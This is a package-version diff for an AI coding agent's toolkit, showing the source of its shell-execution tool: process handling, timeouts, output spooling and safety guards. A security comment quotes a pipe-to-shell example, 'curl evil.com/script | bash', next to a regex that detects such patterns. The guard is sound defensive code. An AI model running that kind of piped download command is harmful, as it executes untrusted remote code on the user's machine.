@wrongstack/tools 0.287.0 → 0.291.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/_fetch-guard.d.ts.map +1 -1
- package/dist/_redact-command.d.ts.map +1 -1
- package/dist/_spawn-stream.d.ts.map +1 -1
- package/dist/audit.js +61 -14
- package/dist/audit.js.map +3 -3
- package/dist/auto-proceed-loop-guard.d.ts +128 -0
- package/dist/auto-proceed-loop-guard.d.ts.map +1 -0
- package/dist/auto-proceed-loop-guard.js +46 -0
- package/dist/auto-proceed-loop-guard.js.map +7 -0
- package/dist/bash.d.ts +1 -1
- package/dist/bash.d.ts.map +1 -1
- package/dist/bash.js +97 -19
- package/dist/bash.js.map +3 -3
- package/dist/builtin.d.ts +12 -10
- package/dist/builtin.d.ts.map +1 -1
- package/dist/builtin.js +1766 -864
- package/dist/builtin.js.map +3 -3
- package/dist/codebase-index/background-indexer.d.ts +1 -1
- package/dist/codebase-index/background-indexer.d.ts.map +1 -1
- package/dist/codebase-index/bm25.d.ts +1 -2
- package/dist/codebase-index/bm25.d.ts.map +1 -1
- package/dist/codebase-index/codebase-index-tool.d.ts.map +1 -1
- package/dist/codebase-index/codebase-search-tool.d.ts.map +1 -1
- package/dist/codebase-index/codebase-stats-tool.d.ts +7 -0
- package/dist/codebase-index/codebase-stats-tool.d.ts.map +1 -1
- package/dist/codebase-index/index-service.d.ts +11 -1
- package/dist/codebase-index/index-service.d.ts.map +1 -1
- package/dist/codebase-index/index.d.ts +2 -1
- package/dist/codebase-index/index.d.ts.map +1 -1
- package/dist/codebase-index/index.js +888 -254
- package/dist/codebase-index/index.js.map +3 -3
- package/dist/codebase-index/indexer.d.ts.map +1 -1
- package/dist/codebase-index/refs-extractor.d.ts +2 -17
- package/dist/codebase-index/refs-extractor.d.ts.map +1 -1
- package/dist/codebase-index/schema.d.ts +43 -1
- package/dist/codebase-index/schema.d.ts.map +1 -1
- package/dist/codebase-index/ts-parser.d.ts.map +1 -1
- package/dist/codebase-index/worker-protocol.d.ts +1 -0
- package/dist/codebase-index/worker-protocol.d.ts.map +1 -1
- package/dist/codebase-index/worker.js +738 -212
- package/dist/codebase-index/worker.js.map +3 -3
- package/dist/codebase-index/writer.d.ts +60 -1
- package/dist/codebase-index/writer.d.ts.map +1 -1
- package/dist/e2e.js +477 -0
- package/dist/e2e.js.map +7 -0
- package/dist/exec.d.ts +1 -1
- package/dist/exec.d.ts.map +1 -1
- package/dist/exec.js +60 -5
- package/dist/exec.js.map +3 -3
- package/dist/fetch.js +2 -2
- package/dist/fetch.js.map +2 -2
- package/dist/format.js +61 -14
- package/dist/format.js.map +3 -3
- package/dist/glob.js +2 -2
- package/dist/glob.js.map +1 -1
- package/dist/grep.d.ts.map +1 -1
- package/dist/grep.js +2 -2
- package/dist/grep.js.map +2 -2
- package/dist/index.d.ts +3 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +2001 -873
- package/dist/index.js.map +3 -3
- package/dist/install.js +61 -14
- package/dist/install.js.map +3 -3
- package/dist/kanban.d.ts +21 -2
- package/dist/kanban.d.ts.map +1 -1
- package/dist/kanban.js +713 -572
- package/dist/kanban.js.map +3 -3
- package/dist/languages/detect.d.ts.map +1 -1
- package/dist/languages/index.js +61 -14
- package/dist/languages/index.js.map +3 -3
- package/dist/languages/types.d.ts +7 -0
- package/dist/languages/types.d.ts.map +1 -1
- package/dist/lint.js +61 -14
- package/dist/lint.js.map +3 -3
- package/dist/outdated.js +61 -14
- package/dist/outdated.js.map +3 -3
- package/dist/pack.js +1763 -861
- package/dist/pack.js.map +3 -3
- package/dist/plan.js +4 -0
- package/dist/plan.js.map +2 -2
- package/dist/process-registry.js +12 -5
- package/dist/process-registry.js.map +2 -2
- package/dist/read.d.ts.map +1 -1
- package/dist/read.js.map +2 -2
- package/dist/search.js +2 -2
- package/dist/search.js.map +2 -2
- package/dist/session-kanban.d.ts +9 -0
- package/dist/session-kanban.d.ts.map +1 -1
- package/dist/session-kanban.js +197 -3
- package/dist/session-kanban.js.map +2 -2
- package/dist/task.js +4 -0
- package/dist/task.js.map +2 -2
- package/dist/test.js +61 -14
- package/dist/test.js.map +3 -3
- package/dist/todo.js +4 -0
- package/dist/todo.js.map +2 -2
- package/dist/tree.js +2 -2
- package/dist/tree.js.map +1 -1
- package/dist/typecheck.js +61 -14
- package/dist/typecheck.js.map +3 -3
- package/package.json +13 -5
package/dist/bash.js.map
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"version": 3,
|
|
3
3
|
"sources": ["../src/bash.ts", "../src/_env.ts", "../src/_output-spool.ts", "../src/_util.ts", "../src/process-registry.ts", "../src/circuit-breaker.ts", "../src/_redact-command.ts", "../src/bash-kill-guard.ts", "../src/process-registry-persistent.ts", "../src/_shell-pick.ts", "../src/_win32-resolve.ts"],
|
|
4
|
-
"sourcesContent": ["import { spawn } from 'node:child_process';\nimport * as os from 'node:os';\nimport type { Context, Tool, ToolStreamEvent } from '@wrongstack/core';\nimport { buildChildEnv } from './_env.js';\nimport { createOutputSpool, spoolNote } from './_output-spool.js';\nimport { normalizeCommandOutput } from './_util.js';\nimport { getProcessRegistry, redactCommand } from './process-registry.js';\nimport { checkAndBlockKillCommand } from './bash-kill-guard.js';\nimport { pickShell, shellArgs, type BashShell, wrapPowerShellScript, diagnoseBashism } from './_shell-pick.js';\nimport { resolvePowerShell } from './_win32-resolve.js';\n\ninterface BashInput {\n command: string;\n timeout_ms?: number | undefined;\n background?: boolean | undefined;\n}\n\ninterface BashOutput {\n output: string;\n exit_code: number | null;\n timed_out: boolean;\n pid?: number | null | undefined;\n error?: string | undefined;\n}\n\nconst MAX_OUTPUT = 32_768;\n// 32 KB \u2014 keeps context manageable for arbitrary commands. bash output\n// is typically unbounded LLM tool-use context; larger caps risk pushing\n// the context window to compaction on every invocation.\n\n// 5 minutes \u2014 generous enough for most real-world commands (npm install,\n// docker build, etc.) without letting a hung process consume the session.\n// The per-call timeout_ms parameter still allows precise overrides.\n// The circuit breaker's slow-call threshold (180s) sits below this so\n// commands that run >3min still count as \"slow\" and can trip the breaker\n// after 3 occurrences.\nconst DEFAULT_TIMEOUT_MS = 300_000;\n\n// Flush partial_output every 200ms or when 4 KiB accumulates \u2014 whichever\n// comes first. Smaller batches make the TUI feel responsive; larger ones\n// keep EventBus traffic reasonable on chatty processes.\nconst STREAM_FLUSH_INTERVAL_MS = 200;\nconst STREAM_FLUSH_BYTES = 4 * 1024;\n\n// Maximum chunks buffered between the child's data handlers and the\n// streaming consumer before the pipes are paused (backpressure). Without\n// this, a consumer that stalls \u2014 or a generator that was torn down while a\n// (grand)child keeps writing \u2014 lets `queue`/`pending` grow without bound\n// and can OOM the host process.\nconst MAX_QUEUE_CHUNKS = 500;\n\nexport const bashTool: Tool<BashInput, BashOutput> = {\n name: 'bash',\n category: 'Shell',\n description:\n 'Execute an arbitrary command in the user\\'s default shell (bash/zsh/pwsh/cmd). ' +\n 'stdout and stderr are merged into one stream. This is the most powerful and dangerous tool \u2014 ' +\n 'it gives the model full access to the developer\\'s machine. Prefer specialized tools whenever possible.',\n usageHint:\n 'SECURITY WARNING: This tool runs with the full privileges of the current user.\\n\\n' +\n 'Best practices for the model:\\n' +\n '- Strongly prefer `exec` for known safe commands (node, npm, pnpm, tsc, git, etc.).\\n' +\n '- Use bash only when you genuinely need shell features (pipes, redirection, complex one-liners).\\n' +\n '- Prefer single focused commands over huge `&&` chains.\\n' +\n '- Use `background: true` only for long-running processes (dev servers, watchers).\\n' +\n '- The working directory is the project root.\\n' +\n '- Output may be truncated in the middle for very large results.',\n selection: {\n doNotUseWhen: 'the command is allowlisted and does not require pipes, redirection, or shell expansion.',\n useInstead: ['exec'],\n },\n permission: 'confirm',\n mutating: true,\n riskTier: 'destructive',\n icon: 'terminal',\n // Trust rules match on the literal `command` string. Without subjectKey\n // the policy heuristic would have done the same here, but declaring it\n // explicitly removes the implicit cross-tool aliasing.\n subjectKey: 'command',\n capabilities: ['shell.arbitrary'],\n timeoutMs: 300_000,\n maxOutputBytes: MAX_OUTPUT,\n estimatedDurationMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n command: {\n type: 'string',\n description: 'The exact shell command to run. Prefer simple, focused commands.',\n },\n timeout_ms: {\n type: 'integer',\n description: 'Optional timeout for this specific command in milliseconds.',\n },\n background: {\n type: 'boolean',\n description: 'If true, launch the process in the background and return the PID immediately.',\n },\n },\n required: ['command'],\n },\n async execute(input, ctx, opts) {\n let final: BashOutput | undefined;\n const executeStream = bashTool.executeStream;\n if (!executeStream) throw new Error('bashTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('bash: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<BashOutput>> {\n if (!input?.command) throw new Error('bash: command is required');\n\n const registry = getProcessRegistry();\n // Background processes bypass the circuit breaker \u2014 they are fire-and-forget\n // and should not affect breaker state. This allows background vitest, dev\n // servers, etc. to run even when the breaker is open.\n const bypassBreaker = !!input.background;\n if (!registry.beforeCall(bypassBreaker)) {\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: 1,\n timed_out: false,\n pid: null,\n error:\n 'bash: circuit breaker open \u2014 too many consecutive failures or slow calls. Use /kill to inspect or /kill reset to recover.',\n },\n };\n return;\n }\n\n // Kill protection: block commands that try to kill protected WrongStack processes\n // This includes direct kill commands, bash -c wrapped kills, and name-based kills (pkill, killall)\n const killCheck = await checkAndBlockKillCommand(input.command);\n if (killCheck.blocked) {\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: 1,\n timed_out: false,\n pid: null,\n error: killCheck.reason || 'Kill command blocked: targets a protected WrongStack process.',\n },\n };\n return;\n }\n\n // Security: detect and warn about pipe-to-shell patterns that could lead to\n // arbitrary code execution (e.g., \"curl evil.com/script | bash\"). This pattern\n // is particularly dangerous because the user confirms a seemingly innocuous command\n // but the downloaded script executes arbitrary code.\n const PIPE_TO_SHELL_PATTERN = /\\|\\s*(sh|bash|ksh|zsh|fish|cmd|powershell|pwsh)/i;\n if (PIPE_TO_SHELL_PATTERN.test(input.command)) {\n console.warn(JSON.stringify({\n level: 'warn',\n event: 'bash.pipe_to_shell_detected',\n message: 'Detected pipe-to-shell pattern. Consider reviewing the full command before confirming.',\n command_prefix: input.command.slice(0, 100), // Log first 100 chars for review\n timestamp: new Date().toISOString(),\n }));\n }\n\n const timeoutMs = Math.max(1, Math.min(input.timeout_ms ?? DEFAULT_TIMEOUT_MS, 600_000));\n\n const isWin = os.platform() === 'win32';\n // Shell selection:\n // - POSIX: existing behavior \u2014 `WRONGSTACK_SHELL` override, else `$SHELL`\n // if it names an allowlisted shell, else `/bin/bash`. cmd.exe-style\n // semantics don't apply on POSIX.\n // - Windows: delegate to `pickShell`, which honours `WRONGSTACK_SHELL`\n // (when set to cmd|powershell|pwsh), auto-detects PowerShell-style\n // commands (so Codex-style `Get-Content`/`Set-Location`/etc. work\n // without forcing every user to set an env var), and falls back to\n // `cmd.exe` for legacy scripts. The `BashShell` sentinel is then\n // mapped to the actual binary path below.\n //\n // The user-controllable `SHELL` and `COMSPEC` env vars are NOT trusted\n // \u2014 a user (or another agent) could point them at an arbitrary binary on\n // shared systems. Only `WRONGSTACK_SHELL` (and the hard-coded defaults\n // in `_shell-pick.ts` / this block) are honoured.\n type ShellPlan = {\n /** Binary path passed to spawn(). */\n bin: string;\n /** argv prefix (everything except the inline command). */\n argv: readonly string[];\n /** When true, write `input.command` to the child's stdin instead of\n * passing it as an argv. PowerShell uses this because quotes and\n * dollar-signs can break `-Command \"...\"` quoting; `pwsh -Command -`\n * reads the script from stdin verbatim. */\n useStdin: boolean;\n stdinBody: string | undefined;\n };\n let plan: ShellPlan;\n // The resolved Windows shell kind, kept in scope so the post-failure\n // bash-ism diagnosis below can speak the right shell's syntax. undefined on\n // POSIX (no diagnosis there \u2014 bash idioms are correct).\n let winShellKind: BashShell | undefined;\n if (isWin) {\n const shell: BashShell = pickShell('win32', input.command, {\n get: (k) => process.env[k],\n });\n winShellKind = shell;\n // Resolve a sensible default binary. `pickShell` decided the shell\n // kind, but the actual spawn uses a real path:\n // - 'cmd' \u2192 COMSPEC or `cmd.exe`. The user can override\n // via WRONGSTACK_SHELL=cmd (already handled by\n // pickShell).\n // - 'powershell' \u2192 `powershell.exe` (Windows PS 5.1).\n // - 'pwsh' \u2192 `pwsh.exe` (PS 7+) if installed, else fall\n // back to `powershell.exe`. We don't probe the\n // filesystem here; _win32-resolve.ts does the\n // PATHEXT walk at spawn time and surfaces ENOENT\n // cleanly if PowerShell is not installed.\n // `resolvePowerShell` walks PATH/PATHEXT to find the binary (PS 7 is\n // not always on PATH; legacy PS 5.1 is in System32). For 'cmd' we let\n // Node's own PATH search handle COMSPEC \u2014 `cmd.exe` is always on\n // System32 which is in PATH by default.\n const bin =\n shell === 'powershell'\n ? resolvePowerShell('powershell.exe')\n : shell === 'pwsh'\n ? resolvePowerShell('pwsh.exe')\n : process.env['COMSPEC'] ?? 'cmd.exe';\n plan = {\n bin,\n argv: shellArgs(shell),\n useStdin: shell === 'powershell' || shell === 'pwsh',\n stdinBody: (shell === 'powershell' || shell === 'pwsh') ? wrapPowerShellScript(input.command) : undefined,\n };\n } else {\n // POSIX: use WRONGSTACK_SHELL if set; else honor $SHELL only when it\n // names an allowlisted shell (bash/zsh/sh/dash/fish); else /bin/bash.\n const explicit = process.env['WRONGSTACK_SHELL'];\n let bin: string;\n if (explicit) bin = explicit;\n else {\n const fromEnv = process.env['SHELL'];\n if (fromEnv) {\n const name = fromEnv.split('/').pop() ?? '';\n if (['bash', 'zsh', 'sh', 'dash', 'fish'].includes(name)) bin = fromEnv;\n else bin = '/bin/bash';\n } else bin = '/bin/bash';\n }\n plan = { bin, argv: ['-c'], useStdin: false, stdinBody: undefined };\n }\n const shell = plan.bin;\n const args = plan.useStdin ? [...plan.argv] : [...plan.argv, input.command];\n\n const env = buildChildEnv(ctx.session?.id);\n\n // On POSIX we put the shell in its own process group so that timeout /\n // abort can kill the entire group with `process.kill(-pid)`. Otherwise\n // `bash -c \"sleep 9999 & disown\"` would leave the grandchild running.\n // Never on Windows: timeouts tree-kill via taskkill /T instead, and\n // DETACHED_PROCESS would void windowsHide (grandchildren would pop\n // visible console windows \u2014 see the background-mode spawn below).\n const detached = !isWin;\n\n const startedAt = Date.now();\n\n if (input.background) {\n // Background mode: capture stdout/stderr with bounded buffers so a\n // malicious command can't write unbounded output. Apply MAX_OUTPUT cap.\n let buf = '';\n let truncated = false;\n const child = spawn(shell, args, {\n cwd: ctx.projectRoot,\n env,\n // PowerShell takes the script on stdin (no argv quoting); cmd.exe\n // and POSIX shells ignore stdin when given the command inline.\n stdio: [plan.useStdin ? 'pipe' : 'ignore', 'pipe', 'pipe'],\n // win32: CreateProcess IGNORES CREATE_NO_WINDOW (windowsHide) when\n // DETACHED_PROCESS (detached: true) is set, so the console-less\n // cmd.exe's grandchildren (node, dev servers) each allocate a fresh\n // VISIBLE console window. detached: false lets CREATE_NO_WINDOW\n // apply: the child gets a hidden console that grandchildren inherit.\n // Windows children survive parent exit either way. POSIX keeps\n // detached for the process-group kill semantics.\n detached: !isWin,\n windowsHide: true,\n });\n // PowerShell: stream the script to stdin and close. We do this AFTER\n // spawn() returns because `child.stdin` is only available then. The\n // write is buffered in the OS pipe; pwsh reads it as it boots. Closing\n // stdin is what tells pwsh \"end of script\" \u2014 without an .end(), the\n // pipe stays open and pwsh waits forever for more input.\n if (plan.useStdin) {\n try {\n child.stdin?.write(plan.stdinBody ?? input.command);\n child.stdin?.end();\n } catch {\n /* spawn already errored \u2014 the error handler below will fire */\n }\n }\n const pid = child.pid;\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: 'bash',\n command: redactCommand(input.command),\n startedAt: Date.now(),\n sessionId: ctx.session?.id,\n child,\n processGroupLeader: detached && child.pid === pid,\n });\n // Register the close handler on the same tick as spawn() so the\n // handler is guaranteed to be in place before Node's event loop\n // can deliver the close event.\n child.on('close', () => registry.unregister(pid));\n }\n const onBgData = (chunk: Buffer) => {\n if (truncated) return;\n const remain = MAX_OUTPUT - buf.length;\n if (remain > 0) {\n buf += chunk.toString().slice(0, remain);\n }\n if (buf.length >= MAX_OUTPUT) {\n truncated = true;\n // Cap reached \u2014 stop accumulating. The streams stay in flowing\n // mode so the rest of the output is read and discarded (pausing\n // would fill the OS pipe buffer and block the background process).\n child.stdout?.off('data', onBgData);\n child.stderr?.off('data', onBgData);\n }\n };\n child.stdout?.on('data', onBgData);\n child.stderr?.on('data', onBgData);\n const cleanupBackground = () => {\n child.stdout?.off('data', onBgData);\n child.stderr?.off('data', onBgData);\n };\n child.on('error', () => {\n cleanupBackground();\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, true, bypassBreaker);\n });\n // The pipe handles would otherwise keep the parent's event loop alive\n // for as long as the background process runs \u2014 child.unref() alone\n // does not release stdio. A one-shot (--print) run could never exit\n // while a background dev server kept its pipes open.\n child.on('close', () => {\n cleanupBackground();\n registry.afterCall(Date.now() - startedAt, false, bypassBreaker);\n });\n if (typeof pid === 'number') child.unref(); // unref() so the event loop can exit while this background process runs.\n yield {\n type: 'final',\n output: {\n output: normalizeCommandOutput(buf),\n exit_code: null,\n timed_out: false,\n pid,\n },\n };\n // P2 #5: record the background launch as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `bash-bg-${Date.now()}`,\n toolName: 'bash',\n ts: new Date().toISOString(),\n input: { command: redactCommand(input.command), background: true },\n outcome: `launched (pid ${pid ?? 'unknown'})`,\n risk: 'shell',\n });\n return;\n }\n\n // Foreground mode: pipe stdout/stderr for streaming output.\n // On Windows the abort signal is handled manually below instead of being\n // passed to spawn(): Node's built-in handling kills only the direct\n // child (cmd.exe), which destroys taskkill's parent-pid tree enumeration\n // and orphans the actual command (node/vitest/dev server). The orphan\n // keeps the inherited stdio pipes open and streams into this process\n // for the rest of the session.\n const child = spawn(shell, args, {\n cwd: ctx.projectRoot,\n env,\n // PowerShell takes the script on stdin (no argv quoting); cmd.exe\n // and POSIX shells ignore stdin when given the command inline.\n stdio: [plan.useStdin ? 'pipe' : 'ignore', 'pipe', 'pipe'],\n detached,\n windowsHide: true,\n ...(isWin ? {} : { signal: opts.signal }),\n });\n // PowerShell: stream the script to stdin and close. We do this AFTER\n // spawn() returns because `child.stdin` is only available then. The\n // write is buffered in the OS pipe; pwsh reads it as it boots. Closing\n // stdin is what tells pwsh \"end of script\" \u2014 without an .end(), the\n // pipe stays open and pwsh waits forever for more input.\n if (plan.useStdin) {\n try {\n child.stdin?.write(plan.stdinBody ?? input.command);\n child.stdin?.end();\n } catch {\n /* spawn already errored \u2014 the error handler below will fire */\n }\n }\n\n // Register with global registry so Ctrl+C / /kill can find and kill it.\n const pid = child.pid;\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: 'bash',\n command: redactCommand(input.command),\n startedAt: Date.now(),\n sessionId: ctx.session?.id,\n child,\n processGroupLeader: detached && child.pid === pid,\n });\n }\n\n let buf = '';\n let pending = '';\n let timedOut = false;\n const timers: NodeJS.Timeout[] = [];\n // Full-output spool: `buf` keeps only the first MAX_OUTPUT bytes for the\n // model; everything else used to be dropped. The spool streams the FULL\n // output to a file once it exceeds the cap, and the final result carries\n // a marker pointing at it \u2014 file-based instead of in-memory/in-context.\n const spool = createOutputSpool({ tool: 'bash', thresholdBytes: MAX_OUTPUT });\n\n function killWithTimeout(\n child: ReturnType<typeof spawn>,\n timeoutMs: number,\n ): void {\n if (isWin) {\n // Let the registry handle Windows tree-kill and its fallback timing.\n // A direct child.kill() before taskkill settles can orphan the real\n // command and leave inherited stdio pipes open.\n if (typeof child.pid === 'number' && child.exitCode === null) {\n const attempted = registry.kill(child.pid, { force: true, graceMs: timeoutMs });\n if (!attempted) {\n try { child.kill(); } catch { /* ignore */ }\n }\n } else {\n try { child.kill(); } catch { /* ignore */ }\n }\n return;\n }\n\n if (typeof child.pid === 'number') {\n registry.kill(child.pid, { graceMs: timeoutMs });\n } else {\n try {\n child.kill('SIGTERM');\n } catch {\n /* ignore */\n }\n const killTimer = setTimeout(() => {\n try {\n child.kill('SIGKILL');\n } catch {\n /* ignore */\n }\n }, timeoutMs);\n timers.push(killTimer);\n killTimer.unref?.();\n }\n }\n\n const timer = setTimeout(() => {\n timedOut = true;\n killWithTimeout(child, 2000);\n }, timeoutMs);\n timers.push(timer);\n timer.unref?.();\n\n // Windows abort handling (see the spawn() comment above): tree-kill on\n // abort while the shell is still alive so its grandchildren die with it.\n const onAbort = () => killWithTimeout(child, 2000);\n if (isWin) {\n if (opts.signal.aborted) onAbort();\n else opts.signal.addEventListener('abort', onAbort, { once: true });\n }\n\n // Bridge the EventEmitter-style child to an async iterator.\n type Chunk =\n | { kind: 'data'; text: string }\n | { kind: 'end'; code: number | null }\n | { kind: 'error'; err: Error };\n const queue: Chunk[] = [];\n let resolveNext: ((c: Chunk) => void) | null = null;\n const push = (c: Chunk) => {\n if (resolveNext) {\n const r = resolveNext;\n resolveNext = null;\n r(c);\n } else {\n queue.push(c);\n }\n };\n const next = (): Promise<Chunk> =>\n new Promise((resolve) => {\n const c = queue.shift();\n if (c) resolve(c);\n else resolveNext = resolve;\n });\n\n let lastFlush = Date.now();\n const flush = () => {\n if (pending.length === 0) return null;\n const text = pending;\n pending = '';\n lastFlush = Date.now();\n return text;\n };\n\n // Backpressure: when the consumer falls behind, pause the pipes instead\n // of letting `queue`/`pending` grow without bound. The child eventually\n // blocks on write, which is the correct pressure signal.\n let paused = false;\n const pauseIfFlooded = () => {\n if (!paused && queue.length >= MAX_QUEUE_CHUNKS) {\n paused = true;\n child.stdout?.pause();\n child.stderr?.pause();\n }\n };\n const resumeIfDrained = () => {\n if (paused && queue.length < MAX_QUEUE_CHUNKS) {\n paused = false;\n child.stdout?.resume();\n child.stderr?.resume();\n }\n };\n const onData = (chunk: Buffer) => {\n const text = chunk.toString();\n // Cap buf during accumulation to prevent heap exhaustion from unbounded\n // string growth. exec.ts uses the same pattern. The final output is\n // further normalized via normalizeCommandOutput which already caps at\n // MAX_OUTPUT (32 KB). The spool captures the FULL output on disk.\n if (buf.length < MAX_OUTPUT) {\n buf += text.slice(0, MAX_OUTPUT - buf.length);\n }\n spool.write(text);\n pending += text;\n push({ kind: 'data', text });\n pauseIfFlooded();\n };\n child.stdout?.on('data', onData);\n child.stderr?.on('data', onData);\n\n child.on('error', (err) => {\n for (const t of timers) clearTimeout(t);\n registry.afterCall(Date.now() - startedAt, true);\n push({ kind: 'error', err });\n });\n child.on('close', (code) => {\n for (const t of timers) clearTimeout(t);\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, code !== 0 && code !== null);\n push({ kind: 'end', code });\n });\n\n try {\n while (true) {\n const c = await next();\n resumeIfDrained();\n if (c.kind === 'error') throw c.err;\n if (c.kind === 'end') {\n const remainder = flush();\n if (remainder !== null) {\n yield { type: 'partial_output', text: remainder };\n }\n const spooled = spool.finalize();\n // Advisory bash-ism guard: on a genuine non-zero exit (not a\n // timeout), if the command used POSIX syntax the resolved Windows\n // shell can't accept, append a targeted hint so the model rewrites it\n // next turn. Never mutates/blocks; silent on success and on POSIX.\n const hint =\n !timedOut && typeof c.code === 'number' && c.code !== 0 && winShellKind\n ? diagnoseBashism(input.command, winShellKind)\n : undefined;\n yield {\n type: 'final',\n output: {\n output:\n normalizeCommandOutput(buf) +\n (spooled ? spoolNote(spooled) : '') +\n (hint ? `\\n\\n${hint}` : ''),\n exit_code: c.code,\n timed_out: timedOut,\n },\n };\n // P2 #5: record the command execution as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `bash-${Date.now()}`,\n toolName: 'bash',\n ts: new Date().toISOString(),\n input: { command: redactCommand(input.command) },\n outcome: timedOut\n ? `timed out (exit ${c.code})`\n : `exit ${c.code}`,\n risk: 'shell',\n });\n return;\n }\n const now = Date.now();\n if (pending.length >= STREAM_FLUSH_BYTES || now - lastFlush >= STREAM_FLUSH_INTERVAL_MS) {\n const text = flush();\n if (text) yield { type: 'partial_output', text };\n }\n }\n } finally {\n for (const t of timers) clearTimeout(t);\n spool.finalize(); // idempotent \u2014 closes the file if the stream was abandoned\n if (isWin) opts.signal.removeEventListener('abort', onAbort);\n // Teardown: this generator can be abandoned mid-stream (executor\n // timeout, abort, consumer error). The data handlers above would\n // otherwise stay attached and keep appending to `pending`/`queue`\n // with no consumer \u2014 on Windows a shell grandchild that survived\n // child.kill() can feed the orphaned pipes for the rest of the\n // session, growing the host heap until OOM. Detach the handlers,\n // destroy the pipes, and make sure nothing is still running.\n child.stdout?.off('data', onData);\n child.stderr?.off('data', onData);\n child.stdout?.destroy();\n child.stderr?.destroy();\n if (child.exitCode === null && !child.killed) {\n if (typeof pid === 'number') registry.kill(pid, { force: true });\n else killWithTimeout(child, 2000);\n }\n }\n },\n\n /**\n * Tool-level teardown fired by `ToolExecutor.runToolCleanup()` when the\n * tool's run is aborted/timeout'd. The generator's `finally` block above\n * already force-kills the direct child, but that only runs if the\n * executor closes the async iterator (via `iter.return()`). When the\n * executor tears down without iterating \u2014 or a re-entrant abort races\n * with the generator \u2014 a bash-spawned process tree can survive in the\n * ProcessRegistry with `killed === false`, continuing to write files,\n * consume CPU, or hold inherited stdio pipes open for the rest of the\n * session.\n *\n * This is the defensive layer the executor calls via `tool.cleanup()`\n * (see `types/tool.ts`): kill every bash-owned process still tracked\n * for this session that hasn't exited yet. `registry.kill()` already\n * handles process-group / taskkill tree-kill and the SIGTERM\u2192SIGKILL\n * grace window, so this just scopes the registry's existing kill path\n * to \"this session's runaway bash children\". Idempotent \u2014 a process\n * that already exited is skipped by `kill()` (it returns false), and a\n * `protected` infrastructure process (dev server the user intentionally\n * backgrounded) is left alone by design.\n */\n async cleanup(_input: BashInput, ctx: Context): Promise<void> {\n const registry = getProcessRegistry();\n const sessionId = ctx.session?.id;\n if (!sessionId) return;\n for (const entry of registry.bySession(sessionId)) {\n if (entry.name !== 'bash') continue; // leave exec-spawned children alone\n if (entry.child.exitCode !== null) continue; // already reaped\n if (entry.protected) continue; // intentionally-backgrounded infra\n registry.kill(entry.pid, { force: true });\n }\n },\n};\n\n// Re-export types so consumers can narrow on stream events.\nexport type { BashInput, BashOutput };\n", "/**\n * Re-exported from @wrongstack/core. This file exists for backward\n * compatibility \u2014 tools/src/bash.ts and exec.ts import './_env.js'.\n */\nexport { buildChildEnv } from '@wrongstack/core';\n", "/**\n * _output-spool \u2014 file-based capture of FULL command output.\n *\n * Command tools (bash/exec and the _spawn-stream consumers) cap what they\n * keep in memory and what reaches the model (COMMAND_OUTPUT_MAX_BYTES head+\n * tail). Everything past the cap used to be silently dropped, which pushed\n * agents to re-run commands with bigger buffers or stuff huge outputs into\n * chat history. The spool keeps the host's memory and the context window\n * small while losing nothing: once a command's output exceeds the in-memory\n * threshold, the FULL stream is written to a log file under\n * `~/.wrongstack/tool-output/` and the capped tool result carries a\n * `[full output: <path>]` marker so the model can read/grep the file\n * selectively instead of dumping it into context.\n *\n * Properties:\n * - zero disk I/O for small outputs (file is created lazily on first byte\n * past the threshold; the buffered head is flushed at that moment)\n * - bounded memory: the head buffer never exceeds the threshold, and disk\n * backpressure drops chunks past a 4 MB writable-buffer high-water mark\n * (counted and reported in the marker) instead of queueing them on the heap\n * - best-effort: any fs error disables the spool silently \u2014 command tools\n * must never fail because diagnostics couldn't be written\n * - retention: spool files older than 7 days are swept once per process\n */\nimport { createWriteStream, mkdirSync, type WriteStream } from 'node:fs';\nimport * as fsp from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { wstackGlobalRoot } from '@wrongstack/core';\n\nconst SPOOL_RETENTION_MS = 7 * 24 * 60 * 60 * 1000;\n/** Stop queueing chunks on the heap when the fs stream falls this far behind. */\nconst SPOOL_WRITE_HWM_BYTES = 4 * 1024 * 1024;\n\nlet sweepStarted = false;\n\n/** Directory for spooled command output (under the wstack global root). */\nexport function toolOutputDir(): string {\n return path.join(wstackGlobalRoot(), 'tool-output');\n}\n\n/** Reset module state \u2014 test hook (per-process sweep memo + nothing else). */\nexport function _resetOutputSpoolForTests(): void {\n sweepStarted = false;\n}\n\nfunction sweepOldSpoolFiles(dir: string): void {\n if (sweepStarted) return;\n sweepStarted = true;\n void (async () => {\n try {\n const now = Date.now();\n for (const name of await fsp.readdir(dir)) {\n if (!name.endsWith('.log')) continue;\n const p = path.join(dir, name);\n try {\n const st = await fsp.stat(p);\n if (now - st.mtimeMs > SPOOL_RETENTION_MS) await fsp.unlink(p);\n } catch {\n /* concurrently removed \u2014 ignore */\n }\n }\n } catch {\n /* directory doesn't exist yet \u2014 nothing to sweep */\n }\n })();\n}\n\nexport interface SpoolInfo {\n /** Absolute path of the spool file. */\n path: string;\n /** Total bytes of output produced (including what reached the file). */\n bytes: number;\n /** Bytes dropped due to disk backpressure (0 in the normal case). */\n droppedBytes: number;\n}\n\nexport interface OutputSpool {\n /** Feed every raw output chunk. Never throws. */\n write(text: string): void;\n /**\n * Close the file (if one was opened) and return its info, or null when the\n * output never exceeded the threshold. Idempotent.\n */\n finalize(): SpoolInfo | null;\n}\n\nexport interface CreateOutputSpoolOptions {\n /** Tool name used in the spool filename (sanitized). */\n tool: string;\n /**\n * Output size at which the spool activates. Should match the tool's\n * in-memory cap so files are only created for output the model can't\n * already see in full. Default 32 KB.\n */\n thresholdBytes?: number | undefined;\n}\n\n/**\n * Render the marker line 